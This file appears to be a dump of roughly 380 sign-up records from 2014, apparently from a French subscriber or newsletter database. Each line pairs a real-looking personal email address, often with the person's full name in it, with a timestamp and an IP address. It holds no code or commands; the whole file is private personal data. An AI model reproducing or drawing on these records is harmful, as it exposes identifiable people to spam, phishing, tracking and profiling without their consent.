+3287;ophelieruiz@neuf.fr;2014-05-22 00:22:03;79.89.164.180 +3288;bernhardt.sarah@hotmail.fr;2014-05-22 00:28:35;109.7.213.167 +3289;olyanicole@hotmail.fr;2014-05-22 00:30:32;88.187.209.17 +3290;trottetberenice@orange.fr;2014-05-22 00:31:08;86.215.90.91 +3291;arnica29@sfr.fr;2014-05-22 00:41:29;78.118.155.186 +3292;rosine.blanc@hotmail.fr;2014-05-22 03:13:42;78.230.75.106 +3293;thym34@orange.fr;2014-05-22 07:57:46;86.194.177.13 +3294;boutonmartine@hotmail.fr;2014-05-22 08:10:06;195.36.198.109 +3295;lilybabe@hotmail.fr;2014-05-22 09:06:26;78.229.200.202 +3296;loubet.natacha@orange.fr;2014-05-22 09:27:52;92.93.200.80 +3297;leticefamily@gmail.com;2014-05-22 09:40:18;62.85.140.192 +3298;vanessa.broucke@gmail.com;2014-05-22 10:11:53;86.206.205.202 +3299;e.hurot@laposte.net;2014-05-22 10:43:30;81.49.168.82 +3300;bmagalie@yahoo.fr;2014-05-22 11:11:45;78.122.57.213 +3301;l.lechapelain@wanadoo.fr;2014-05-22 11:46:14;109.218.66.99 +3302;virginiedelvallez@sfr.fr;2014-05-22 12:09:26;92.157.9.179 +3303;inn.ti.manzel@hotmail.fr;2014-05-22 12:09:37;92.157.9.179 +3304;patricia_peerenbooms@hotmail.com;2014-05-22 12:10:47;82.127.150.130 +3305;rott076@yahoo.fr;2014-05-22 13:20:16;82.225.119.129 +3306;pascale.bizet@live.fr;2014-05-22 13:46:32;86.210.53.40 +3307;severine225@gmail.com;2014-05-22 14:56:08;80.215.192.253 +3308;peggy.familly@hotmail.fr;2014-05-22 15:31:57;77.192.11.98 +3309;dominiqueschmitz@sfr.fr;2014-05-22 16:03:42;78.113.87.106 +3310;nadiiout@gmail.com;2014-05-22 16:05:43;81.66.202.2 +3311;marionbarbaud@gmail.com;2014-05-22 16:41:41;149.154.240.17 +3312;Martinebrossin@hotmail.fr;2014-05-22 17:38:08;37.175.5.190 +3313;melie.bauduin@gmail.com;2014-05-22 20:09:15;81.66.175.47 +3314;kalinowska@noos.fr;2014-05-22 21:31:38;82.124.175.106 +3315;vgpp@free.fr;2014-05-22 22:37:55;88.167.169.37 +3316;Kelly120326@hotmail.fr;2014-05-23 00:49:20;31.36.139.130 +3317;schuffie@hotmail.com;2014-05-23 15:32:18;86.64.79.37 +3318;inesonia@hotmail.fr;2014-05-23 16:09:34;78.250.45.9 +3319;les-pepswanadoo.fr@wanadoo.fr;2014-05-23 16:20:28;90.5.251.177 +3320;lucai@hotmail.fr;2014-05-23 16:25:28;78.115.210.115 +3321;kenza-76@hotmail.fr;2014-05-23 20:15:36;82.67.92.30 +3322;gerelli.c@free.fr;2014-05-23 22:04:42;66.249.93.186 +3323;karine.s@free.fr;2014-05-23 22:28:36;81.251.233.215 +3324;barbarapisanu@hotmail.fr;2014-05-24 11:54:35;92.147.118.149 +3325;marie-caroline.perrin@orange.fr;2014-05-24 12:18:42;81.249.40.220 +3326;valerie.ancora@orange.fr;2014-05-24 12:40:15;109.217.121.229 +3327;bruno.falco@orange.fr;2014-05-24 12:52:47;90.14.238.183 +3328;acarless@tin.it;2014-05-24 18:06:00;158.148.24.68 +3329;candolors@hotmail.com;2014-05-25 01:01:27;88.14.248.61 +3330;corinne.demongodin@voila.fr;2014-05-25 19:34:01;86.217.101.57 +3331;delphine_a_61@hotmail.com;2014-05-25 23:35:19;90.25.223.139 +3332;puck113@free.fr;2014-05-26 12:50:32;82.125.156.230 +3333;datour.christian@orange.fr;2014-05-26 18:19:05;90.22.126.220 +3334;chrisevan66@hotmail.fr;2014-05-26 20:10:49;176.181.110.100 +3335;Lemoult@me.com;2014-05-26 20:59:05;78.229.140.78 +3336;Julie.vezine@sfr.fr;2014-05-26 21:57:42;88.139.146.133 +3337;mcbeauvilain@free.fr;2014-05-27 11:02:40;82.226.187.164 +3338;fravillain@voila.fr;2014-05-27 15:32:42;213.174.114.238 +3339;fushia.92@hotmail.fr;2014-05-27 18:02:50;87.91.245.232 +3340;marianne.breniere@orange.fr;2014-05-27 20:11:19;85.171.176.78 +3341;hellenes@numericable.fr;2014-05-28 11:22:51;89.156.226.104 +3342;kalima2384@hotmail.fr;2014-05-28 13:25:08;92.136.59.137 +3343;bella@sekence.net;2014-05-28 19:28:56;83.112.244.199 +3344;mariedideron@hotmail.fr;2014-05-28 21:25:09;78.234.249.186 +3345;Cervera30@orange.fr;2014-05-28 23:58:29;176.181.125.76 +3346;berry-pop@outlook.fr;2014-05-29 12:52:40;90.28.69.131 +3347;meyerfamily67@orange.fr;2014-05-29 14:22:47;90.48.217.100 +3348;ouaria95@hotmail.fr;2014-05-29 16:04:25;82.237.146.203 +3349;kapouille84430@gmail.com;2014-05-29 18:45:33;92.90.26.29 +3350;dianadetryalexander@yahoo.com;2014-05-29 23:55:29;91.180.10.146 +3351;cherietrania33@gmail.com;2014-05-30 14:52:15;82.234.55.191 +3352;nlebu@aliceadsl.fr;2014-05-30 18:16:06;78.238.30.152 +3353;perrin_sandrine@hotmail.com;2014-05-31 12:39:11;88.163.145.97 +3354;audy.dassie@orange.fr;2014-06-01 10:09:56;90.55.145.42 +3355;charlotte.rouf@gmail.com;2014-06-01 21:07:58;83.157.154.4 +3356;jch92@orange.fr;2014-06-02 10:20:47;81.57.119.171 +3357;aquaegebeur@yahoo.fr;2014-06-02 10:20:54;81.57.119.171 +3358;marie.scholzen@orange.fr;2014-06-02 10:21:03;81.57.119.171 +3359;mashioda@gmail.com;2014-06-02 10:21:10;81.57.119.171 +3360;kathiamech@yahoo.fr;2014-06-02 13:09:20;88.183.144.204 +3361;pascal.tourte@orange.fr;2014-06-02 14:43:57;93.186.31.80 +3362;lauradelbos@hotmail.fr;2014-06-02 16:23:06;78.250.25.93 +3363;celiemutel@live.fr;2014-06-02 16:24:30;78.237.146.20 +3364;florianoudu91@hotmail.fr;2014-06-02 16:24:41;83.157.70.35 +3365;adry54@hotmail.fr;2014-06-02 16:35:36;78.238.3.165 +3366;calimero1998@live.fr;2014-06-02 16:42:43;81.51.6.104 +3367;goun82@yahoo.fr;2014-06-02 16:46:10;88.185.178.173 +3368;isabelle.garrido123@orange.fr;2014-06-02 16:48:18;81.251.80.223 +3369;fredou_59@hotmail.fr;2014-06-02 17:05:59;109.16.38.116 +3370;amelierombauts@outlook.fr;2014-06-02 17:06:14;128.78.194.14 +3371;jacqueline.rochaix@orange.fr;2014-06-02 17:15:35;90.29.113.86 +3372;fanpiee@hotmail.fr;2014-06-02 17:25:12;82.241.199.172 +3373;shaycardoso@live.fr;2014-06-02 17:41:37;78.223.185.119 +3374;lours62100@live.fr;2014-06-02 17:44:19;78.123.245.117 +3375;cindyjordannathanchanelle@hotmail.fr;2014-06-02 17:51:48;78.228.40.19 +3376;chatonaurelie@hotmail.fr;2014-06-02 18:01:53;93.29.160.70 +3377;keltoum.benzaoui@yahoo.fr;2014-06-02 18:04:18;31.33.191.124 +3378;fran_27@hotmail.fr;2014-06-02 18:09:39;62.35.245.155 +3379;melissa-test@hotmail.fr;2014-06-02 18:17:16;85.69.109.56 +3380;boodadu73@hotmail.fr;2014-06-02 19:59:02;109.27.124.18 +3381;missludi84@hotmail.fr;2014-06-02 21:13:23;92.150.45.47 +3382;asd13@hotmail.fr;2014-06-02 21:53:56;92.90.16.132 +3383;SORAYA.SIAD@HOTMAIL.FR;2014-06-02 23:24:53;78.242.193.225 +3384;marianne.dycha@laposte.net;2014-06-03 11:23:54;82.246.115.249 +3385;gzyj0000@hotmail.com;2014-06-03 12:14:39;86.67.54.15 +3386;camillecanniccioni@hotmail.fr;2014-06-03 12:33:30;80.215.129.179 +3387;fethi1976@hotmail.com;2014-06-03 14:07:20;41.107.88.252 +3388;carpe_diem14@hotmail.fr;2014-06-03 17:18:30;87.89.74.7 +3389;matplucain@gmail.com;2014-06-03 20:11:25;109.18.146.174 +3390;cristinakichine@yahoo.fr;2014-06-03 21:45:53;80.10.159.153 +3391;cecilia.sandra@orange.fr;2014-06-04 08:35:47;83.192.46.199 +3392;aichacpai@yahoo.fr;2014-06-04 10:27:02;85.192.250.224 +3393;lilirose929@hotmail.fr;2014-06-04 11:20:13;92.155.253.27 +3394;sakhura59@hotmail.fr;2014-06-04 13:58:09;78.227.138.236 +3395;marie-clemence.tata@hotmail.fr;2014-06-04 14:12:48;92.145.243.67 +3396;maryse.lievin@neuf.fr;2014-06-04 15:08:34;84.7.96.47 +3397;cmoi19@gmail.com;2014-06-04 17:26:24;79.85.218.231 +3398;jusies@free.fr;2014-06-04 19:03:26;82.240.42.215 +3399;petitepetite@hotmail.fr;2014-06-04 20:05:24;81.65.165.34 +3400;cecwalt@gmail.com;2014-06-04 21:01:11;78.247.6.65 +3401;sophie.ernestine.morvan@gmail.com;2014-06-04 22:20:12;88.182.38.166 +3402;claudia.luca@laposte.net;2014-06-05 09:58:08;78.234.67.162 +3403;marion_wurtz@orange.fr;2014-06-05 15:04:20;109.217.219.127 +3404;sabpier@hotmail.fr;2014-06-05 15:30:44;81.67.155.135 +3405;christine.fontaine13@orange.fr;2014-06-07 00:02:42;81.249.92.145 +3406;ljakab@orange.fr;2014-06-07 23:01:05;86.207.107.37 +3407;papoune93@hotmail.com;2014-06-08 09:44:19;82.224.110.141 +3408;valsefunebre@live.fr;2014-06-08 11:49:28;31.35.247.107 +3409;laurence.gradaive@orange.fr;2014-06-08 13:46:39;92.154.236.106 +3410;beatrice.vuillemin@yahoo.fr;2014-06-08 14:29:46;83.112.206.30 +3411;gaelle.bandiera@gmail.com;2014-06-09 11:30:01;109.88.242.17 +3412;thimar84600@yahoo.fr;2014-06-10 10:03:26;83.159.52.176 +3413;mactenneyson@yahoo.fr;2014-06-10 11:20:08;86.70.36.28 +3414;nadege.perraudin@sfr.fr;2014-06-10 11:48:27;93.21.211.166 +3415;nicolemarquier@sfr.fr;2014-06-10 16:40:22;88.137.59.103 +3416;franckhauser.c@gmail.com;2014-06-10 18:01:35;77.205.247.134 +3417;hellokittyandme@yahoo.com;2014-06-10 21:44:34;81.57.39.224 +3418;domi37190@free.fr;2014-06-11 11:33:03;82.251.71.52 +3419;ingrid.j2@sfr.fr;2014-06-11 16:25:13;77.205.249.116 +3420;angelini.claire@yahoo.fr;2014-06-11 21:43:47;82.245.200.201 +3421;gasser.roselyne@orange.fr;2014-06-12 13:37:21;109.217.99.140 +3422;vaness1985@hotmail.fr;2014-06-12 17:48:28;93.15.10.202 +3423;gucci6962@hotmail.fr;2014-06-13 14:39:05;90.15.112.130 +3424;nathaliekaefer@yahoo.fr;2014-06-14 11:47:12;92.130.242.105 +3425;pero.robert@neuf.fr;2014-06-14 16:43:25;90.8.107.230 +3426;vlegaffric@orange.fr;2014-06-14 18:09:32;78.228.88.192 +3427;sabine-blanc@hotmail.fr;2014-06-14 20:02:58;78.118.185.194 +3428;elysabeth.vaschalde@orange.fr;2014-06-15 11:02:01;83.200.109.39 +3429;sadye.vergara@gmail.com;2014-06-16 00:46:43;89.66.65.65 +3430;verlabraswell@inbox.com;2014-06-16 13:36:45;89.66.65.65 +3431;mireillegeay@hotmail.fr;2014-06-16 19:54:35;90.55.223.198 +3432;barbaraliebens@hotmail.com;2014-06-17 09:50:01;193.190.183.5 +3433;s.guyon91@gmail.com;2014-06-17 10:39:58;81.252.43.222 +3434;brigitte.franchi@sfr.fr;2014-06-17 13:33:34;79.83.127.13 +3435;2014test45876@gmail.com;2014-06-17 16:48:17;2.228.102.132 +3436;ghm.mercier@gmail.com;2014-06-17 17:22:22;92.136.41.244 +3437;bieber.phosie@gmail.com;2014-06-18 14:48:39;89.88.59.133 +3438;lydie.francioli@yahoo.fr;2014-06-18 20:39:48;88.176.146.113 +3439;loeillet_annesophie@hotmail.fr;2014-06-19 10:02:51;178.251.23.53 +3440;selene176@msn.com;2014-06-19 10:35:03;88.186.43.175 +3441;sandra.m.gloria@gmail.com;2014-06-19 12:38:11;194.4.153.102 +3442;pascale.cordey@gmail.com;2014-06-19 15:10:44;86.206.212.201 +3443;sarl.issenuth@wanadoo.fr;2014-06-19 16:21:44;109.217.70.137 +3444;mirawa48@gmail.com;2014-06-20 14:34:41;82.252.251.224 +3445;danielle.luccisano@gmail.com;2014-06-20 16:07:01;83.114.86.15 +3446;monginj@aliceadsl.fr;2014-06-21 22:43:45;2.4.124.17 +3447;inesyoussefayoub@gmail.com;2014-06-22 03:25:00;41.224.227.142 +3448;ghadajd@gmail.com;2014-06-22 03:25:09;41.224.227.142 +3449;ghadoucha@hotmail.fr;2014-06-22 03:25:16;41.224.227.142 +3450;jelledghada@hotmail.fr;2014-06-22 03:25:24;41.224.227.142 +3451;alouanejd@gmail.com;2014-06-22 03:25:36;41.224.227.142 +3452;houbasaf@gmail.com;2014-06-22 03:26:02;41.224.227.142 +3453;martinefleurs12@orange.fr;2014-06-22 16:37:37;82.125.180.58 +3454;talanie@laposte.net;2014-06-22 20:59:46;82.239.205.128 +3455;oxygene7@gmail.com;2014-06-23 03:27:16;190.100.133.139 +3456;oxygenesept@gmail.com;2014-06-23 03:27:59;190.100.133.139 +3457;celine.stella@yahoo.fr;2014-06-23 12:50:20;213.245.61.63 +3458;kitten_fairy143@yahoo.com;2014-06-24 00:50:31;66.57.37.221 +3459;hola19@live.fr;2014-06-24 03:47:07;77.196.30.178 +3460;wyborowa21@sf.fr;2014-06-24 14:28:48;82.120.23.37 +3461;remond22@laposte.net;2014-06-24 19:22:33;79.92.186.65 +3462;evelyne.elias@laposte.net;2014-06-25 18:31:05;109.219.114.185 +3463;elsa.raverdy@gmail.com;2014-06-27 08:59:12;82.234.240.109 +3464;nathalie.vogl@orange.fr;2014-06-27 14:13:29;109.26.156.82 +3465;elsa.palomares@hotmail.fr;2014-06-27 15:07:45;109.26.156.82 +3466;jeu1124@yahoo.fr;2014-06-28 11:09:25;79.84.238.44 +3467;claudinetilloy@gmx.com;2014-06-28 16:10:28;93.4.50.139 +3468;chantalsentenac@hotmail.com;2014-06-28 16:53:29;78.124.37.201 +3469;ac_mouilliez@yahoo.fr;2014-06-29 00:16:35;41.82.159.161 +3470;rachel09081981@hotmail.com;2014-06-29 16:06:40;83.115.103.237 +3471;mjk32@sfr.fr;2014-06-29 18:48:22;79.86.18.181 +3472;corinnegermain@live.fr;2014-06-29 21:39:34;88.172.0.105 +3473;cyrine.ba@orange.tn;2014-06-30 00:07:28;41.224.74.150 +3474;laroppe.reen-k@hotmail.fr;2014-06-30 04:08:30;78.226.181.152 +3475;olliviersylvia@gmail.com;2014-06-30 18:48:03;82.251.151.147 +3476;li.loumenis@gmail.com;2014-07-01 12:33:24;78.237.216.198 +3477;rosetta.chinnici@live.it;2014-07-01 19:05:04;37.182.159.88 +3478;cgoubault@neuf.fr;2014-07-01 20:24:15;84.103.116.166 +3479;aur-h@wanadoo.fr;2014-07-02 02:56:20;83.202.241.219 +3480;thomas.annick@skynet.be;2014-07-02 10:41:32;91.178.182.81 +3481;thierry.garnotel@cegetel.net;2014-07-02 19:08:43;77.204.105.185 +3482;imyimane29@gmail.com;2014-07-03 15:10:12;197.205.235.75 +3483;toupy7@wanadoo.fr;2014-07-03 18:08:18;92.132.44.224 +3484;pier_173@yahoo.fr;2014-07-03 21:12:22;77.129.153.75 +3485;claschon@hotmail.com;2014-07-05 10:20:30;92.154.253.60 +3486;laurencederoeck@yahoo.fr;2014-07-05 18:36:43;2.5.227.5 +3487;claudinedansault@gmail.com;2014-07-05 23:37:47;91.68.179.28 +3488;nadiano@hotmail.fr;2014-07-06 20:53:30;81.250.90.141 +3489;kate_cy@mail.ru;2014-07-07 11:28:17;213.7.230.77 +3490;christellemallaise@wanadoo.fr;2014-07-07 16:49:01;212.23.175.190 +3491;luciole70@orange.fr;2014-07-07 20:28:23;2.2.122.3 +3492;emilielortal@outlook.fr;2014-07-08 12:52:04;159.180.224.71 +3493;CHRISTINE.NOTH@CEGETEL.NET;2014-07-08 14:08:25;195.125.179.178 +3494;roubauda@gmail.com;2014-07-08 23:38:03;109.210.107.98 +3495;alyette.messonnier@me.com;2014-07-09 09:17:01;82.249.131.53 +3496;serge.cheneau@neuf.fr;2014-07-09 11:57:35;84.7.79.225 +3497;sosowp@hotmail.fr;2014-07-09 12:43:52;92.139.24.196 +3498;astrid.hetzel@free.fr;2014-07-09 21:55:36;78.214.108.16 +3499;annette.lavocat@sfr.fr;2014-07-10 11:28:45;86.70.37.96 +3500;rachel.lepoutre@hotmail.com;2014-07-11 17:29:56;109.129.52.83 +3501;fd788592@skynet.be;2014-07-12 10:52:43;87.64.60.215 +3502;meredithhedrick@gmail.com;2014-07-12 10:56:55;104.128.89.170 +3503;cabochesylvine@yahoo.fr;2014-07-12 11:21:52;92.131.209.40 +3504;laure.dellenbach0720@orange.fr;2014-07-13 10:24:33;83.194.219.25 +3505;poudroux.chantal@akeonet.com;2014-07-13 19:30:16;84.6.68.15 +3506;christine_terrier@orange.fr;2014-07-13 19:55:25;82.122.244.17 +3507;cindibindi56@aol.com;2014-07-14 07:56:50;174.64.112.232 +3508;nicole.sibe@laposte.net;2014-07-14 15:08:39;86.67.91.55 +3509;arcariceline@club-internet.fr;2014-07-14 15:50:49;78.224.46.65 +3510;riitta_bousnina@hotmail.com;2014-07-14 21:15:41;188.67.115.231 +3511;etoilerose@videotron.ca;2014-07-15 02:17:36;96.23.181.113 +3512;canya@oriex.fr;2014-07-15 12:32:27;84.37.109.102 +3513;delattre-laura07@hotmail.fr;2014-07-15 14:00:59;90.15.155.44 +3514;myriam.boudi@hotmail.fr;2014-07-16 01:41:14;89.3.138.148 +3515;ssouchet@hotmail.com;2014-07-16 10:37:25;109.211.17.223 +3516;catherinemartone@gmail.com;2014-07-16 17:05:51;193.251.83.197 +3517;mcp.riviere@wanadoo.fr;2014-07-17 09:02:42;92.132.83.180 +3518;anne_claudetonetto@yahoo.fr;2014-07-17 14:11:51;89.3.69.123 +3519;sophie.hoorens@free.fr;2014-07-17 23:16:38;82.64.105.107 +3520;pauline_535@hotmail.com;2014-07-18 14:50:10;82.231.217.103 +3521;bodart.orlane@orange.fr;2014-07-20 11:45:34;90.8.122.111 +3522;meuniermaige@hotmail.fr;2014-07-21 09:31:45;78.127.123.205 +3523;deborah.a49@gmail.com;2014-07-21 13:32:31;90.54.128.46 +3524;galaadroux@hotmail.fr;2014-07-21 16:55:35;92.90.233.228 +3525;domlouvel02@gmail.com;2014-07-21 19:30:38;81.57.245.156 +3526;Sonia9874@hotmail.com;2014-07-23 00:08:56;83.153.5.250 +3527;serenatrovarelli@gmail.com;2014-07-23 08:56:00;129.199.63.14 +3528;nathalie3011@hotmail.com;2014-07-23 09:49:20;149.154.210.42 +3529;julie.lafage@hotmail.fr;2014-07-24 00:05:51;79.91.2.135 +3530;etatdeveille@outlook.fr;2014-07-25 17:11:11;92.138.245.200 +3531;KIKIPETITGRIS@MAIL.BE;2014-07-25 17:11:52;81.240.187.2 +3532;attivosandra@yahoo.fr;2014-07-25 19:04:25;188.22.7.49 +3533;herrade2@hotmail.com;2014-07-28 19:56:23;92.161.216.11 +3534;m-maine@garancia-beauty.com;2014-07-29 09:34:41;81.57.119.171 +3535;bisslou@gmail.com;2014-07-30 15:38:52;88.162.49.236 +3536;sabrina.lienhardt@gmail.com;2014-07-30 21:27:03;81.51.3.20 +3537;pascale.vereertbrugghen@numericable.fr;2014-07-31 13:48:15;81.64.70.210 +3538;manue.leblond@free.fr;2014-07-31 22:44:53;82.238.60.22 +3539;jocelyne.agogue@gmail.com;2014-08-01 14:02:39;109.23.81.188 +3540;naturagis@orange.fr;2014-08-01 16:22:00;92.145.22.156 +3541;isabel.m.rangel@gmail.com;2014-08-02 15:36:34;193.126.134.37 +3542;annecharbonnet@hotmail.com;2014-08-02 18:11:43;78.122.243.42 +3543;sandra.tisserand0988@orange.fr;2014-08-03 00:12:55;86.196.212.14 +3544;lilalou85570@gmail.com;2014-08-04 09:31:28;90.49.147.132 +3545;nathalie3875@gmail.com;2014-08-04 10:39:38;82.240.244.192 +3546;nathdani@msn.com;2014-08-04 10:39:43;82.240.244.192 +3547;gaellephilippe78@gmail.com;2014-08-04 19:13:53;90.20.114.123 +3548;celineparisse@yahoo.fr;2014-08-05 12:50:26;80.12.82.227 +3549;christian.montagne0289@orange.fr;2014-08-05 13:15:38;109.210.206.219 +3550;catherinebracke@aol.com;2014-08-05 17:33:29;128.79.156.235 +3551;thenightshadow@hotmail.fr;2014-08-06 13:28:50;89.170.32.20 +3552;mlcc2672@gmail.com;2014-08-07 11:31:33;81.51.38.49 +3553;Newdil11@sfr.fr;2014-08-08 00:57:18;77.199.213.191 +3554;bettyboop9333@yahoo.fr;2014-08-08 15:40:36;89.81.160.60 +3555;jmc.pagni@live.fr;2014-08-09 15:09:15;82.121.45.14 +3556;huguette.albernhe@orange.fr;2014-08-09 15:15:33;83.201.190.10 +3557;lucieflowerbomb@hotmail.fr;2014-08-09 21:40:39;109.22.23.69 +3558;cnathalie.je@orange.fr;2014-08-09 23:54:17;90.3.83.70 +3559;mallorie2009@hotmail.fr;2014-08-10 07:50:19;79.93.112.75 +3560;anne-so@hotmail.fr;2014-08-10 15:16:50;90.62.252.152 +3561;JOHANNAPARFAIT@hotmail.fr;2014-08-10 22:48:25;212.198.230.200 +3562;amatthey@me.com;2014-08-11 08:04:41;86.219.234.137 +3563;maider.18@hotmail.fr;2014-08-13 20:29:50;86.206.23.42 +3564;374496480@qq.com;2014-08-13 21:42:23;24.6.72.129 +3565;pascale.mas2@wanadoo.fr;2014-08-15 09:27:11;90.53.235.114 +3566;altomare.christine@orange.fr;2014-08-15 14:47:51;90.58.143.61 +3567;vero.devergnes@free.fr;2014-08-15 15:24:14;82.225.204.16 +3568;shamina.tropic@wanadoo.fr;2014-08-16 21:01:32;197.224.20.17 +3569;emilie1.flament@gmail.com;2014-08-18 10:24:01;213.245.153.240 +3570;sylvie.charrier@vnf.fr;2014-08-18 14:12:56;212.23.175.167 +3571;aline.cornue@orange.fr;2014-08-18 22:46:06;83.194.127.78 +3572;frederique.leborgne@gmail.com;2014-08-19 11:38:51;88.124.46.130 +3573;yayacotelle@hotmail.fr;2014-08-19 15:02:10;195.68.50.98 +3574;clothildequin@yahoo.fr;2014-08-19 18:09:28;77.128.180.24 +3575;nath45650@hotmail.fr;2014-08-20 11:24:09;86.68.9.120 +3576;emiliedubreu@yahoo.fr;2014-08-20 16:58:00;77.202.40.108 +3577;pauline.pusse@hotmail.fr;2014-08-20 19:55:48;78.113.49.110 +3578;gaelle.roualet@sfr.fr;2014-08-22 15:45:13;90.62.251.222 +3579;soniadeleau@yahoo.fr;2014-08-22 18:48:54;87.89.164.79 +3580;coraliebrillant@sfr.fr;2014-08-22 22:09:37;77.206.60.157 +3581;slatina32@orange.fr;2014-08-23 08:14:23;90.23.45.101 +3582;Vaccarain@yahoo.com;2014-08-24 21:07:10;81.164.117.60 +3583;radenne.france@gmail.com;2014-08-26 08:19:01;78.201.98.65 +3584;francesca956@hotmail.fr;2014-08-26 11:10:49;193.128.33.248 +3585;Simone.lavernhe@orange.fr;2014-08-26 11:11:01;90.17.184.225 +3586;sindy_reboul@hotmail.com;2014-08-26 11:35:25;82.237.17.117 +3587;radya38@live.fr;2014-08-26 11:59:23;80.215.135.20 +3588;Celipoirier@yahoo.fr;2014-08-26 12:00:27;83.195.181.238 +3589;steph.jordan@live.fr;2014-08-26 12:16:20;88.183.229.235 +3590;c.roche54@gmail.com;2014-08-26 12:18:00;92.90.16.100 +3591;jen0403@hotmail.fr;2014-08-26 12:36:11;85.31.194.154 +3592;Langedubonheur7@hotmail.fr;2014-08-26 13:02:32;78.224.154.108 +3593;bavmorda76@gmail.com;2014-08-26 13:09:40;78.220.58.102 +3594;delphine.mouchague@wanadoo.fr;2014-08-26 13:36:01;78.125.235.196 +3595;jardillierc@yahoo.fr;2014-08-26 13:57:00;82.241.49.211 +3596;gabrielacarmona@hotmail.fr;2014-08-26 14:11:45;109.219.22.192 +3597;julie_bouclesdor@hotmail.com;2014-08-26 14:23:37;78.232.191.214 +3598;mail.mjs@free.fr;2014-08-26 14:30:58;78.228.2.167 +3599;brulie8888130489@hotmail.fr;2014-08-26 14:32:39;78.244.158.131 +3600;Supernana79@gmail.com;2014-08-26 14:45:49;89.95.37.160 +3601;virginiedecorse2105@gmail.com;2014-08-26 14:49:30;90.16.120.231 +3602;dpelardy@gmail.com;2014-08-26 14:53:38;92.144.13.155 +3603;celyne@gmail.com;2014-08-26 16:27:04;82.123.61.197 +3604;Claire.manca@gmail.com;2014-08-26 16:40:58;176.183.159.128 +3605;babouska@gmx.fr;2014-08-26 17:15:23;80.215.192.196 +3606;claudiedelacalle@yahoo.fr;2014-08-26 17:33:19;92.90.16.185 +3607;laetitia.bolteau@wanadoo.fr;2014-08-26 18:59:47;66.249.93.81 +3608;alohausa@hotmail.fr;2014-08-26 20:13:10;31.33.252.162 +3609;marie-paule.amigo@orange.fr;2014-08-26 20:16:29;90.0.224.43 +3610;elodie110805@hotmail.fr;2014-08-26 21:20:30;83.205.233.181 +3611;lentraide12@wanadoo.fr;2014-08-26 23:02:34;90.16.196.115 +3612;billardf@outlook.fr;2014-08-26 23:46:47;87.88.222.101 +3613;g6k008@gmail.com;2014-08-27 00:37:46;85.69.242.20 +3614;beacazuc@sfr.fr;2014-08-27 13:25:09;77.196.10.220 +3615;christel.gauthier@hotmail.fr;2014-08-27 15:28:27;109.18.97.172 +3616;catherine.campagna@orange.fr;2014-08-28 07:32:52;2.4.53.217 +3617;marie.guittard@hotmail.fr;2014-08-28 14:01:53;90.17.1.205 +3618;darth.lothie@gmail.com;2014-08-28 16:58:43;80.13.99.85 +3619;Josette.even@hotmail.fr;2014-08-28 19:08:28;82.245.206.100 +3620;candou.83@gmail.com;2014-08-28 19:33:31;93.27.194.29 +3621;lulu13591514@hotmail.com;2014-08-29 02:35:38;218.215.116.137 +3622;lassere.elodie@gmail.com;2014-08-29 07:29:22;88.122.193.113 +3623;chantal.jourdain@cegetel.net;2014-08-29 12:25:41;109.16.128.106 +3624;pv.coquelin@orange.fr;2014-08-29 18:10:36;90.23.96.189 +3625;maryfrancedequidtmans@hotmail.fr;2014-08-30 14:34:51;83.205.41.95 +3626;chantalgouleret@orange.fr;2014-08-30 20:59:20;90.9.102.230 +3627;ghislaine.prudhomme2@orange.fr;2014-08-31 14:34:29;92.147.235.137 +3628;lea.piccard@sunstore.ch;2014-09-01 14:47:42;194.209.6.12 +3629;deleven@laposte.net;2014-09-01 18:55:52;90.42.233.25 +3630;Ml.Paranque@gmail.com;2014-09-01 20:05:56;93.25.6.154 +3631;n.buffiere@hotmail.fr;2014-09-02 06:57:33;93.9.34.158 +3632;c.hua@etatpur.com;2014-09-02 14:29:19;195.167.197.22 +3633;valerietomczak@wanadoo.fr;2014-09-02 17:11:32;90.1.159.171 +3634;f.tavenaux@free.fr;2014-09-02 22:02:45;83.158.56.54 +3635;marjorie.besseau@orange.fr;2014-09-02 22:33:03;90.59.113.244 +3636;zz1113@live.fr;2014-09-02 23:06:07;78.226.16.163 +3637;kooboonewsletter1@mailimate.com;2014-09-03 05:20:58;173.255.254.13 +3638;silkstorm333@gmail.com;2014-09-04 17:50:19;4.30.4.1 +3639;tatoume@gmail.com;2014-09-05 00:18:48;85.168.102.227 +3640;mariepoteau95@gmail.com;2014-09-06 11:10:49;92.131.4.21 +3641;claire.dournel@gmail.com;2014-09-06 11:34:05;81.66.247.81 +3642;duboutfv@free.fr;2014-09-06 12:24:04;78.248.9.204 +3643;c.thirard@free.fr;2014-09-06 17:26:34;90.52.47.119 +3644;sansonmarie02@yahoo.com;2014-09-07 00:30:38;109.10.199.52 +3645;pascale.marandon@free.fr;2014-09-07 09:07:36;88.177.112.6 +3646;m-c.geffard@orange.fr;2014-09-07 23:10:13;86.198.14.246 +3647;dominiquesenard@hotmail.com;2014-09-08 19:25:35;213.233.132.189 +3648;pharmacie.brault@orange.fr;2014-09-09 11:47:32;83.192.140.149 +3649;pauline.blavier@gmail.com;2014-09-09 11:47:51;83.192.140.149 +3650;sandrinesthetik@hotmail.fr;2014-09-09 13:53:02;31.38.47.157 +3651;zouki79@hotmail.fr;2014-09-09 16:35:47;109.215.224.155 +3652;Jackredon@wanadoo.fr;2014-09-09 22:18:34;109.218.161.196 +3653;valerie.duflot@gmail.com;2014-09-10 10:19:44;92.151.113.113 +3654;d.melon@abattoirliege.be;2014-09-10 11:10:08;81.246.91.210 +3655;s.lavenelle@orange.fr;2014-09-10 15:29:18;91.213.15.203 +3656;sylvie.mayen@paris.fr;2014-09-10 15:29:32;91.213.15.203 +3657;marianneseon@orange.fr;2014-09-10 21:56:10;89.94.143.138 +3658;v.dumond@cegetel.net;2014-09-10 22:32:43;79.89.18.116 +3659;costaperaria@hotmail.com;2014-09-11 09:03:13;158.50.204.15 +3660;alexia072@hotmail.fr;2014-09-11 11:37:58;85.68.88.106 +3661;annie.monnet@gmail.com;2014-09-11 12:15:45;109.8.16.222 +3662;antoine.lavet@gmail.com;2014-09-11 13:12:38;81.255.155.161 +3663;gaetine@hotmail.fr;2014-09-12 13:30:44;83.192.88.125 +3664;sandrafoissacfabre@yahoo.fr;2014-09-12 13:33:06;78.245.104.77 +3665;michamartine@hotmail.com;2014-09-12 15:34:32;80.254.154.91 +3666;rox.rousseau72@gmail.com;2014-09-12 15:36:59;80.254.154.91 +3667;boudinet.marion@orange.fr;2014-09-13 00:22:57;83.113.123.242 +3668;crepin.astrid@gmail.com;2014-09-13 01:28:55;77.196.23.127 +3669;valentine.mecp@gmail.com;2014-09-13 11:16:04;86.66.201.6 +3670;pidolot.manu@hotmail.fr;2014-09-13 12:18:24;31.34.31.49 